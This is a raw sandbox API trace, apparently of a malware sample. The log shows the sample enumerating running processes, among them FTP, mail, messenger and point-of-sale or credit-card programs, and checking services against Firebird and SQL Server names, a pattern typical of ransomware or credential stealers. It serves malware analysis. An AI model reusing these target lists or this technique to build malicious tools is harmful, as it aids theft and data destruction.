[0080.963] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0080.964] lstrlenW (lpString="bitkinex.exe") returned 12 [0080.965] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0080.966] lstrlenW (lpString="coreftp.exe") returned 11 [0080.966] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0080.968] lstrlenW (lpString="far.exe") returned 7 [0080.968] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0080.970] lstrlenW (lpString="filezilla.exe") returned 13 [0080.970] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0080.972] lstrlenW (lpString="flashfxp.exe") returned 12 [0080.972] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0080.974] lstrlenW (lpString="fling.exe") returned 9 [0080.974] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0080.975] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0080.975] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0080.978] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0080.978] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0080.980] lstrlenW (lpString="icq.exe") returned 7 [0080.980] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0080.983] lstrlenW (lpString="leechftp.exe") returned 12 [0080.983] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0080.986] lstrlenW (lpString="ncftp.exe") returned 9 [0080.986] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0080.988] lstrlenW (lpString="notepad.exe") returned 11 [0080.989] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0080.991] lstrlenW (lpString="operamail.exe") returned 13 [0080.992] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0080.994] lstrlenW (lpString="pidgin.exe") returned 10 [0080.994] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0080.996] lstrlenW (lpString="scriptftp.exe") returned 13 [0080.996] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0080.999] lstrlenW (lpString="skype.exe") returned 9 [0081.000] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0081.002] lstrlenW (lpString="smartftp.exe") returned 12 [0081.002] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0081.004] lstrlenW (lpString="thunderbird.exe") returned 15 [0081.004] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0081.007] lstrlenW (lpString="totalcmd.exe") returned 12 [0081.007] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0081.009] lstrlenW (lpString="trillian.exe") returned 12 [0081.009] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0081.011] lstrlenW (lpString="webdrive.exe") returned 12 [0081.012] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0081.015] lstrlenW (lpString="whatsapp.exe") returned 12 [0081.015] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0081.017] lstrlenW (lpString="winscp.exe") returned 10 [0081.017] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0081.019] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0081.019] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0081.021] lstrlenW (lpString="active-charge.exe") returned 17 [0081.021] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0081.024] lstrlenW (lpString="accupos.exe") returned 11 [0081.024] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0081.026] lstrlenW (lpString="afr38.exe") returned 9 [0081.026] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0081.028] lstrlenW (lpString="aldelo.exe") returned 10 [0081.028] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0081.507] lstrlenW (lpString="ccv_server.exe") returned 14 [0081.507] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0081.509] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0081.510] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0081.512] lstrlenW (lpString="creditservice.exe") returned 17 [0081.512] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0081.514] lstrlenW (lpString="edcsvr.exe") returned 10 [0081.514] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0081.516] lstrlenW (lpString="fpos.exe") returned 8 [0081.516] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0081.519] lstrlenW (lpString="isspos.exe") returned 10 [0081.520] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0081.521] lstrlenW (lpString="mxslipstream.exe") returned 16 [0081.522] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0081.523] lstrlenW (lpString="omnipos.exe") returned 11 [0081.524] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0081.525] lstrlenW (lpString="spcwin.exe") returned 10 [0081.526] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0081.528] lstrlenW (lpString="spgagentservice.exe") returned 19 [0081.528] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0081.530] lstrlenW (lpString="utg2.exe") returned 8 [0081.530] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="amsterdam.exe")) returned 1 [0081.532] lstrlenW (lpString="amsterdam.exe") returned 13 [0081.532] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="targetannounce.exe")) returned 1 [0081.534] lstrlenW (lpString="targetannounce.exe") returned 18 [0081.534] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="managed-davis.exe")) returned 1 [0081.536] lstrlenW (lpString="managed-davis.exe") returned 17 [0081.536] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discretion_revenue.exe")) returned 1 [0081.867] lstrlenW (lpString="discretion_revenue.exe") returned 22 [0081.925] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyer_canada_wma.exe")) returned 1 [0081.927] lstrlenW (lpString="lawyer_canada_wma.exe") returned 21 [0081.927] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.929] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0081.929] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.930] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0081.930] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0081.932] lstrlenW (lpString="winhost.exe") returned 11 [0081.932] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0081.935] lstrlenW (lpString="cmd.exe") returned 7 [0081.935] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.936] lstrlenW (lpString="conhost.exe") returned 11 [0081.936] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0081.938] lstrlenW (lpString="vssadmin.exe") returned 12 [0081.938] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0081.940] lstrlenW (lpString="VSSVC.exe") returned 9 [0081.940] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0081.942] lstrlenW (lpString="LogonUI.exe") returned 11 [0081.942] Process32NextW (in: hSnapshot=0x1dc, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0081.943] CloseHandle (hObject=0x1dc) returned 1 [0081.943] Sleep (dwMilliseconds=0x1f4) [0083.211] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x514e10 [0083.214] EnumServicesStatusExW (in: hSCManager=0x514e10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0083.215] GetLastError () returned 0xea [0083.215] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x13a6) returned 0x36ee798 [0083.215] EnumServicesStatusExW (in: hSCManager=0x514e10, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x36ee798, cbBufSize=0x13a6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x36ee798, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0083.217] CloseServiceHandle (hSCObject=0x514e10) returned 1 [0083.218] lstrlenW (lpString="Appinfo") returned 7 [0083.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0083.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0083.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0083.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0083.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0083.218] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0083.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0083.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0083.219] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0083.219] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0083.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0083.219] lstrlenW (lpString="AudioSrv") returned 8 [0083.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0083.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0083.219] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0083.219] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0083.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0083.219] lstrlenW (lpString="BFE") returned 3 [0083.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0083.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0083.220] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0083.220] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0083.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0083.220] lstrlenW (lpString="CryptSvc") returned 8 [0083.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0083.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0083.220] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0083.220] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0083.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0083.220] lstrlenW (lpString="CscService") returned 10 [0083.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0083.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0083.220] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0083.220] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0083.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0083.221] lstrlenW (lpString="DcomLaunch") returned 10 [0083.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0083.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0083.221] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0083.221] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0083.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0083.221] lstrlenW (lpString="Dhcp") returned 4 [0083.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0083.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0083.221] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0083.221] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0083.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0083.221] lstrlenW (lpString="Dnscache") returned 8 [0083.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0083.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0083.222] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0083.222] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0083.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0083.222] lstrlenW (lpString="DPS") returned 3 [0083.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0083.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0083.222] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0083.222] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0083.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0083.222] lstrlenW (lpString="eventlog") returned 8 [0083.222] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0083.222] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0083.222] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0083.222] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0083.222] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0083.223] lstrlenW (lpString="EventSystem") returned 11 [0083.223] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0083.223] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0083.223] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0083.223] lstrcmpiW (lpString1="mssqlserver", 